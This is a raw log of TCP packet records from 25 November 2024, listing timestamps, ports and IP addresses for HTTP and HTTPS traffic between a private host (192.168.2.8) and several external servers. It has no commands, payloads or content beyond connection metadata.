Nov 25, 2024 03:39:57.369679928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.369771957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.369812012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.370549917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.370624065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.370625973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.370665073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.371413946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.371457100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.371507883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.371543884 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.372302055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.372370958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.372401953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.372595072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.373245001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.373258114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.373296976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.381690025 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:57.381736040 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:57.381875038 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:57.382236958 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:57.382246971 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:57.413167000 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:57.413206100 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:57.413645029 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:57.413875103 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:57.413889885 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:57.434613943 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:57.434664965 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:57.434973955 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:57.435190916 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:57.435210943 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:57.518534899 CET	443	49832	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:57.519052982 CET	49832	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:57.519119978 CET	443	49832	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:57.519457102 CET	443	49832	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:57.519820929 CET	49832	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:57.519887924 CET	443	49832	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:57.520010948 CET	49832	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:57.567332983 CET	443	49832	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:58.106935024 CET	443	49832	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:58.106955051 CET	443	49832	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:58.107038021 CET	443	49832	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:58.107039928 CET	49832	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:58.107172966 CET	49832	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:58.108182907 CET	49832	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:58.108227968 CET	443	49832	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:58.159006119 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:58.159006119 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:58.278688908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:58.278704882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:58.671247005 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.671838045 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:58.671854973 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.672192097 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.672518015 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:58.672575951 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.672837019 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:58.685492992 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.686080933 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:58.686098099 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.687243938 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.687891960 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:58.688069105 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.688316107 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:58.719325066 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.735340118 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.747227907 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.747591972 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:58.747625113 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.748608112 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.748676062 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:58.749056101 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:58.749109030 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.749334097 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:58.749341965 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:58.801162004 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.262727022 CET	49837	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:59.262764931 CET	443	49837	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:59.262830019 CET	49837	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:59.263423920 CET	49837	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:59.263434887 CET	443	49837	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:59.292392015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:59.292603016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:59.312505007 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.312530994 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.312551975 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.312604904 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.312616110 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.312663078 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.312706947 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.325027943 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.325050116 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.325063944 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.325130939 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.325149059 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.325192928 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.364972115 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.364999056 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.365040064 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.365055084 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.365077019 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.365093946 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.365118980 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.388659000 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.388745070 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.388792992 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.388809919 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.388820887 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.388886929 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.394414902 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.394715071 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.402534962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:59.406688929 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.406723976 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.406732082 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.406745911 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.406754017 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.406755924 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.406774998 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.406814098 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.406830072 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.406862974 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.466005087 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.466027021 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.466084957 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.466094971 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.466108084 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.466147900 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.513638973 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.513665915 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.513720036 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.513736010 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.513760090 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.513772011 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.522001982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:59.526175022 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.526238918 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.526288033 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.526302099 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.526319981 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.526768923 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.541202068 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.541218996 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.541277885 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.541292906 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.541338921 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.553987980 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.554052114 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.565572023 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.565634966 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.565642118 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.565658092 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.565705061 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.565864086 CET	49835	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.565880060 CET	443	49835	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.571814060 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.571852922 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.571887016 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.571898937 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.571909904 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.571919918 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.571934938 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.571991920 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.572237015 CET	49834	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.572251081 CET	443	49834	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.617146015 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.617163897 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.617259979 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.617301941 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.617386103 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.655983925 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.656003952 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.656080008 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.656102896 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.656183958 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.666023016 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.666115999 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.682001114 CET	49838	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:59.682049036 CET	443	49838	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:59.682343006 CET	49838	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:59.682898998 CET	49838	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:59.682918072 CET	443	49838	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:59.688987970 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.689008951 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.689054966 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.689078093 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.689093113 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.689114094 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.710427999 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.710443974 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.710516930 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.710534096 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.710571051 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.827522993 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.827604055 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.827625036 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.827663898 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.827964067 CET	49836	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:59.827980995 CET	443	49836	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:59.868361950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:59.868444920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:59.868469954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:59.868530035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:59.868705034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:59.868752956 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:59.871063948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:59.990550995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:00.130502939 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:00.130532980 CET	443	49839	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:00.131380081 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:00.131726027 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:00.131738901 CET	443	49839	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:00.333455086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:00.333535910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:00.347577095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:00.465778112 CET	49840	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:00.465831041 CET	443	49840	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:00.466057062 CET	49840	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:00.466576099 CET	49840	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:00.466590881 CET	443	49840	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:00.467017889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:00.916634083 CET	443	49837	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:00.917094946 CET	49837	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:00.917110920 CET	443	49837	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:00.917412043 CET	443	49837	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:00.917766094 CET	49837	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:00.917821884 CET	443	49837	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:00.917978048 CET	49837	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:00.918047905 CET	49837	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:00.918073893 CET	443	49837	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.282031059 CET	443	49838	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.282634974 CET	49838	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.282651901 CET	443	49838	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.283853054 CET	443	49838	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.284327984 CET	49838	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.284516096 CET	443	49838	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.284564018 CET	49838	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.284564018 CET	49838	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.284627914 CET	443	49838	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.284725904 CET	49838	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.284771919 CET	443	49838	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.303567886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:01.303637981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:01.338936090 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:01.406007051 CET	443	49837	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.406147957 CET	443	49837	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.406213045 CET	49837	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.406847954 CET	49837	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.406868935 CET	443	49837	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.458463907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:01.729187965 CET	443	49839	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.729504108 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.729518890 CET	443	49839	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.730520964 CET	443	49839	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.730622053 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.730931997 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.730993032 CET	443	49839	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.731158018 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.731226921 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.731249094 CET	443	49839	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.786315918 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.786334038 CET	443	49839	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:01.801831961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:01.802032948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:01.812871933 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:01.830574036 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:01.932336092 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:01.932472944 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:01.939245939 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:02.059113979 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:02.063335896 CET	443	49840	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.070970058 CET	49840	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.070981026 CET	443	49840	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.072613001 CET	443	49840	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.072694063 CET	49840	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.073213100 CET	49840	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.073292017 CET	443	49840	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.073795080 CET	49840	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.073801994 CET	443	49840	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.073870897 CET	49840	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.073919058 CET	443	49840	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.090826988 CET	443	49838	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.091058016 CET	443	49838	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.093713045 CET	49838	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.127918959 CET	49840	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.184024096 CET	443	49839	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.184158087 CET	443	49839	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.185731888 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.308152914 CET	49839	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.308182001 CET	443	49839	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.310549021 CET	49838	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.310573101 CET	443	49838	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.511595011 CET	443	49840	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.511697054 CET	443	49840	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:02.511749983 CET	49840	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.512346983 CET	49840	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:40:02.512366056 CET	443	49840	20.42.73.30	192.168.2.8
Nov 25, 2024 03:40:03.328984976 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.329035044 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.329047918 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.329052925 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.329078913 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.329099894 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.329112053 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.329113960 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.329125881 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.329135895 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.329138994 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.329150915 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.329152107 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.329170942 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.329191923 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.329199076 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.329211950 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.329238892 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.329263926 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.448812008 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.448873997 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.448875904 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.448911905 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.530241013 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.530261993 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.530323029 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.530323029 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.532704115 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.532826900 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.532843113 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.532929897 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.541161060 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.541279078 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.541311026 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.541402102 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.549550056 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.549655914 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.549663067 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.549715042 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.557902098 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.558008909 CET	49841	80	192.168.2.8	185.215.113.16
